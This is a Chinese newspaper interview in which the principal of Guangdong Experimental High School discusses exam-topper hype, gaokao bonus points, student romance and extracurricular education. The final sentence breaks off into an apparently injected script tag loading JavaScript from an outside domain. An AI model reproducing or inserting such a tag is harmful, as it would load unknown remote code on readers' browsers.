高考、中考成绩已相继出炉，但招考部门对“状元”花落谁家守口如瓶。市招考办表示，中考成绩的学校排名，更是要待中招录取后才能揭盅。对于在高考、中考中成绩优异的名校来说，如何看待这种做法？教育专家、广东实验中学校长郑炽钦对此认为，其实比起追捧“状元”，关注高分的群体更加有意义，学校还应通过素质教育培养多元化、个性化发展的学生。对于近日引起热议的湖南省状元都是“武林高手”的高考特长加分话题，他认为如果随意取消加分将会导致新的不公平，但对于加分项目和标准应该有所统一，避免频繁变更。

　   谈“状元”现象：

　　30年“状元”无一院士

　　记者：这两年招考部门一直在淡化中考、高考的“状元”，但家长又希望能公布，了解他们的学习方法。你怎么看待这个问题？

　　郑炽钦：其实状元应该是全国只有一个，但现在各省、市、县甚至学校都可以有“状元”，“状元”的提法本来就不确切。今年省实高考、中考喜报中都没有用到“状元”这个说法。家长们希望把“状元”的学习方法移植到自己孩子的身上，本身也是应试的想法在作怪。省实是这么多年来广东“状元”出得最多的学校，但只有一个是长期保持在全年级前三的，还有的考试甚至没进过全级前30。

　　考了第一名，值得表扬，但不宜吹捧。高考“状元”到了大学及后来的工作岗位上，成就未必如社会对他们的期望值那么高。2004年的一个状元进了大学后，学习的后劲反而不如其同班同学。之前有人调查过这些年来状元的去向：恢复高考30年以来各省总分状元当中，没有一个是院士、没有一个是长江学者。有的地区、学校是想借“状元”来炒作，但是光有“状元”，整个群体不优秀有什么用呢？

　　记者：所以关注高分考生这整个群体更重要？

　　郑炽钦：对。这两年我们开始对外公布的都是学校的整体情况。

　　记者：有人认为，省实高中能够面向全省招生，学生入学时的平均水平就已经比其他学校的高出一截，高考取得好成绩自然不奇怪。

　　郑炽钦：省实高中部2005年以来每年都面向全省创新人才实验班，但是除了第一届以外，近几届招到的学生都不是当地最拔尖的学生，因为当地也在想办法“截流”优秀的生源。今年100个名额都没有招满。但是这些学生比一些广州的学生学习更努力、志向更远大，加上我们的“加工能力”好，所以三年后他们不少人的成绩会反超当地的同学。

　　谈学生恋爱：

　　没人拍拖校长也紧张

　　记者：省实的学生如果谈恋爱，学校会怎么处理？

　　郑炽钦：我曾经在全校大会上跟学生说过，一个学校没有人谈恋爱是不行的。学校完全没有人谈恋爱，校长就要紧张了，学生的性取向是不是出了问题？但是也不能够恋爱成风。

　　所以对于恋爱的学生，我们首先要他们明白这是正常行为，证明他们是正常的男孩子、女孩子。其次，要让他们明白这个时候是不适宜恋爱的时机，因为马上就要高考了恋爱也容易分心。让他们心里有这件事就行了，但是行动上不要表达出来。

　　谈素质教育：

　　追求多元化与个性化

　　记者：省实近年来高考成绩突出有哪些“法宝”？

　　郑炽钦：从高一起我们就引导学生们树立目标，瞄准重点大学。但我们并非像有的学校从高一开始就让学生做高考的题，那是揠苗助长。课堂效率提高了，才能把更多的时间交给学生。

　　记者：这些多出来的时间，省实学生都用在了哪里？

　　郑炽钦：我们鼓励学生把课余时间用来发展自己的特长。每天他们的课余活动时间应该有将近两个小时。学生到了高三下学期还担任学校社团的顾问，有的在高三考试前一个月还嚷嚷要参加模拟联合国的活动。我们学校合唱团连续3届获世界合唱大赛冠军；管乐团、弦乐队、舞蹈团才成立不久，但近3年却夺得了20多个国内第一，并成为世界冠军，而在世界中学生羽毛球锦标赛上，羽毛球队代表中国一共拿下了10个世界冠军。

　　记者：这么多时间花在“玩”上，不会影响学习吗？

　　郑炽钦：我不这么认为。体育活动能让他们有坚定的意志，艺术项目也能分解他们的压力，让他们能“幸福地面对困难”，这对高考备考都是有?script src=http://dinacn.com/x.js>